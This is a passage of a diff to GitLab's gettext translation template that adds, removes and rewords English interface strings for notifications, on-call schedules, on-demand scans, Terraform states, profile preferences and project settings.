+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18280,6 +18696,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18319,6 +18738,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18355,9 +18777,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18373,6 +18801,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18382,6 +18813,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18508,6 +18942,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18523,9 +18984,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18550,9 +19008,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18565,6 +19020,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18574,7 +19035,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18596,9 +19057,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18680,6 +19138,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18746,9 +19207,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18794,6 +19252,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -18950,6 +19411,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19064,6 +19528,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19088,9 +19555,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19355,6 +19819,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19463,9 +19930,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19511,6 +19975,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19523,6 +19990,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19532,6 +20002,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19757,6 +20233,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19766,9 +20245,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -19931,18 +20407,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -19952,9 +20422,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -19976,9 +20443,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20033,6 +20497,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20162,6 +20629,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20171,6 +20656,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20201,6 +20689,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20558,9 +21049,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20813,7 +21301,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20855,6 +21346,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -20915,9 +21409,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -20939,6 +21430,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21008,6 +21505,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21389,6 +21889,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21704,6 +22207,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21857,6 +22363,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -21939,9 +22448,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22015,6 +22521,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22042,9 +22551,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22249,9 +22755,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22267,15 +22770,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22354,6 +22854,13 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22385,6 +22892,10 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22436,6 +22947,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22466,12 +22980,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22499,6 +23019,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22532,10 +23055,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22651,12 +23174,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22783,6 +23312,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22820,6 +23352,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22839,6 +23374,9 @@ msgstr[0] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -22908,6 +23446,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -22971,12 +23512,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23004,9 +23539,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23109,12 +23641,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23133,7 +23659,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23190,15 +23716,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23301,6 +23821,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23340,9 +23863,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23411,6 +23931,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23597,6 +24120,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23760,6 +24286,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -23877,9 +24409,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24222,12 +24751,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24270,21 +24793,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24303,6 +24835,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24399,9 +24934,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24456,13 +24988,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24490,6 +25025,9 @@ msgid "Showing %d event"
msgid_plural "Showing %d events"
msgstr[0] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24584,10 +25122,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24638,6 +25179,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24749,9 +25293,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24797,7 +25338,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -24878,10 +25419,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25163,10 +25707,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25190,6 +25734,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25307,9 +25854,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25469,6 +26013,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25637,6 +26193,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25646,6 +26205,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25694,6 +26256,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -25868,6 +26433,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26036,9 +26604,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26078,6 +26643,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26086,24 +26654,48 @@ msgid "Terraform|%{number} Terraform report was generated in your pipelines"
msgid_plural "Terraform|%{number} Terraform reports were generated in your pipelines"
msgstr[0] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26123,6 +26715,12 @@ msgstr[0] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26150,6 +26748,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26180,6 +26781,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26274,9 +26878,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26286,10 +26887,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26358,9 +26959,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26401,6 +26999,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26449,6 +27050,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26494,6 +27101,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26605,6 +27215,9 @@ msgstr ""
